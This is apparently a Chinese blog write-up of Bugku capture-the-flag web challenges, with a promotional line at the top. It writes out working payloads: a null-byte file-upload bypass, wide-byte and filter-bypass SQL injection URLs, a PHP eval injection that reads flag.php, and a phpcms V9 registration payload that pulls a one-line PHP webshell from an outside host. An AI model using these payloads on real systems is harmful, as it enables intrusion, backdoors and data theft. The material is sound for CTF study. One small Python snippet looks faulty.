分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
签到题
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/8661d9734b016065511b9f2fdab00ee3.png)
web2
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/c08db6efd3bb1d700f31cf5b03f018ed.png)
文件上传测试
经典的题目,用burp抓包得到如下
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/edec98715f5d17f2414e92cbdbdd0c06.png)
然后我们更改一下上传路径然后用%00截断一下即可
Content-Disposition: form-data; name="file"; filename="3.png%001.php"
- 1
计算题
改一下浏览器中的text的长度
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/ea20a8727b09eb70e5190b3a111a3d5d.png)
Web3
进去一直弹框,没完没了…直接禁用了F12看源码,发现有一个
<!--KEY{J2sa42ahJK-HS11III}-->
- 1
估摸就是答案,格式转换一下。
用python写个简单的脚本即可
s='KEY{J2sa42ahJK-HS11III}'key=s.split(';')flag=''for i in key: flag+=chr(int(i[2:]))print flag
- 1
- 2
- 3
- 4
- 5
- 6
sql注入
真的是sql注入啊,每一次都想不到宽字节注入,给自己一个大大的巴掌!下面讲题
首先我们看到了界面以后id是注入点,然后进行各种union select什么的姿势并没有什么卵用。然后好久好久才想到宽字节注入!
实验http://103.238.227.13:10083/index.php?id=%df%27 or 1%23
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/2f8bcd461c13af9e78e4f11a3ec5ab83.png)
验证了就是宽字节注入,然后我们观察可以看到给出的是id和key,那么估计查询的时候是两个项,不信可以验证一下
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/18b8125e85ffc5045f027a5a96e0b5ae.png)
而且这里也给了提示,我们注入的是key表,不行也可以用简单的爆表验证http://103.238.227.13:10083/index.php?id=%df%27 union select 1, table_name from information_schema.tables%23
然后我们查表的过程中会遇到一点小问题,key既是字段名又是表明会产生冲突,我们要用“来包含住,payload如下
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,string from `key` where id =1%23
- 1
然后就可以得到一个hash值,结果KEY{54f3320dc261f313ba712eb3f13a1f6d}
SQL注入1
本题坑了我很久。一开始思路偏了以为是盲注,但是大牛说想复杂了。而且之前因为一个;的问题一直没结果。
就是字符串的绕过,但是怎么绕过?我们观察这个函数
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/4aa85b0726e3734ae08b3faafb4b7a80.png)
这个函数为了防止xss把 类似的标签去掉了,那么我们可以利用这个构造绕过sql的过滤。比如说
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/62b2c31a69cfebef1e612d815299fb92.png)
可以知道查询确实只有两列,类似的我们根据提示union查询(注意)其实直接就出来了(我太弱了…)
payload:http://103.238.227.13:10087/index.php?id=-1 un<br>ion se<br>lect hash,1 fro<br>m `key`#
- 1
本地包含
哪门子本地包含啊,分明是某春秋原题…但是某春秋明显服务器的ubuntu的吧。但是貌似这个服务器不是,不能执行bash指令,但是调用php的函数就好了。还是注入eval( “var_dump($a);”); 这句话。payload如下
http://post2.bugku.com/hello?hello=);print_r(file("./flag.php")); //
- 1
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/541a3572d076c9137256d1dc0ceae3dc.png)
原题题解可以看这儿
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}
变量1
不说话,又是某春秋原题
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/c3c82edc89b4259b86445bdec14674ee.png)
原题题解还是可以看这儿
Web4
首先进入页面,随便输入一个东西,提示仔细看,所以感觉应该是有什么东西输出但是一下子被刷掉了,用burp抓包看一下!发现果然有东西!
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/b7b35bb0f90ec07f52a801fba61f525e.png)
然后我们发现一段js脚本用在线js运行器跑一下!
在线JS传送门
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';var p3 =unescape(p1) + unescape('%35%34%61%61%32' + p2);console.log( p3);
- 1
- 2
- 3
- 4
解密后得到代码
function checkSubmit(){
var a=document.getElementById("password");if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
- 1
可以看到就是简单的构造一下password呗~
Web5
怎么界面还是一样的???burp抓包发现成了这个…
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/b85a8c87801fbd6a605d3d6eb28a83f6.png)
直接用google的console就完事儿了…是叫brianfuck貌似?
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/1c37ef25210c5c4cd21f5fe949ad05cd.png)
flag在index里
这个题目是文件包含…告诉你flag在index.php中,但是没有显示,肯定被注入掉了,然后我们看到url是xxx?file=…,很像文件包含,尝试一下得到flag
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/f7848f861f3cd81864b2f0363b5a930d.png)
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/39a06e2bc41e6de917482bc4600a3a48.png)
phpcmsV9
这个是常见的php漏洞模板之一,花式cms之一,而且本次西安网赛线下赛正好除了phpcms9的漏洞,正好上手玩儿一下。
告诉你flag的位置,直接了当就是想到任意文件上传(本模板还有mysql注入漏洞)。
首先打开网址
http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1
- 1
发现是会员的申请页面,然后构造payload
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://file.codecat.one/normalOneWord.txt#.jpg>&dosubmit=1&protocol=
- 1
我们可以看到www.bugku.com/tools/phpyijuhua.txt就是我们小马的地址了,最最简单的一句话木马了。然后上传以后会返回mysql错误回传地址,这里放截图(截图和这个地址不匹配但是原理相似)
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/8b8d147ba1b785fab6244a31bc41882e.png)
![这里写图片描述](https://i-blog.csdnimg.cn/blog_migrate/a90a29076aee3a3a57bf7ed48e218200.png)
可以看到上传成功,然后我们放上去真正的木马!php文件
这里写代码片